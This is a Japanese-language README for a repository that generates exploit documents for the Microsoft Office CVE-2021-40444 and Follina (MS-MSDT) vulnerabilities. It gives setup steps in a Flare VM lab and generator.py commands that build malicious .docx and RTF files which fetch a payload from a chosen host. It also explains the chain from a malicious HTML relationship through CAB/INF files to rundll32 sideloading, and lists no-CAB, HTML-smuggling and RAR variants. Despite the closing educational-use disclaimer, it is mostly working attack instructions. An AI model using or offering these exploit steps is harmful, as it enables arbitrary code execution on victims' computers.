Follina CVE および CVE-2021-40444 脆弱性の悪用

はじめに

このリポジトリには、Microsoft Office における Follina CVE および CVE-2021-40444 脆弱性を悪用するためのスクリプトとリソースが含まれています。これらのスクリプトは、ターゲットシステム上で任意のコードを実行できる悪意のある文書ファイルを生成します。

Flare VM のセットアップ:
- Flare VM がインストールされていることを確認してください。VM の認証情報は以下の通りです:
  - ユーザー名: lab
  - パスワード: password
Python と仮想環境:
```
git clone https://github.com/basim-ahmad/Follina-CVE-and-CVE-2021-40444.git
cd CVE-2021-40444
```
- 仮想マシンに Python と pip がインストールされていることを確認してください。
- 以下のコマンドを使用して virtualenv パッケージをインストールします:
```
pip install virtualenv
```
- venv という名前の仮想環境を作成します:
```
python -m virtualenv venv
```
- 仮想環境をアクティブ化します:
```
venv\Scripts\activate.bat
```
- 必要なパッケージをインストールします:
```
pip install -r requirements.txt
```

エクスプロイトの生成:
- プロジェクトディレクトリに移動し、以下のコマンドを実行してエクスプロイトを生成します:
```
python generator.py -u http://192.168.197.132 -P test\calc.dll --host
```
  192.168.197.132 を自分の IP アドレスに置き換えてください。
生成された文書へのアクセス:
- 生成された .docx ファイルは以下のディレクトリに配置されます:
```
C:\Users\Lab\Desktop\project\CVE-2021-40444\out\document.docx
```

文書（.docx）が開かれます。
文書には document.xml.rels 内で悪意のある HTML を指すリレーションシップが含まれています。
その HTML リンクは IE プレビューで開かれます。
オブジェクトが CAB ファイルと、JScript に埋め込まれ ".cpl:" ディレクティブが前に付加された INF ファイルを指す iframe を指します。
CAB ファイルが開かれ、INF ファイルが %TEMP%Low ディレクトリに保存されます。
INF ファイルが ".cpl:" ディレクティブを使用して開かれ、rundll32 が INF ファイルをサイドロードします。

元のエクスプロイトを生成してローカルでテスト:
```
python generator.py -u http://127.0.0.1 -P test\calc.dll --host
```
MS-MSDT（Follina 攻撃）を利用した CAB 不要のエクスプロイトを生成（DOCX と RTF の両方）:
```
python generator.py -u http://127.0.0.1 -P test\calc.ps1 --no-cab --host --convert
```
HTML スマイグリングを使用した CAB 不要のエクスプロイト（IE のみ）を生成し、IE でローカルテスト:
```
python generator.py -u http://127.0.0.1 -P test\calc.js --no-cab --host -t
```
RAR を使用した CAB 不要のエクスプロイトを生成し、IE でローカルテスト:
```
python generator.py -u http://127.0.0.1 -P test\job-jscript.wsf --no-cab --host -t
```

このプロジェクトは教育目的のみです。責任を持って使用し、テストする許可がないシステムに対して脆弱性を悪用しないでください。この情報の誤用は刑事責任を問われる可能性があります。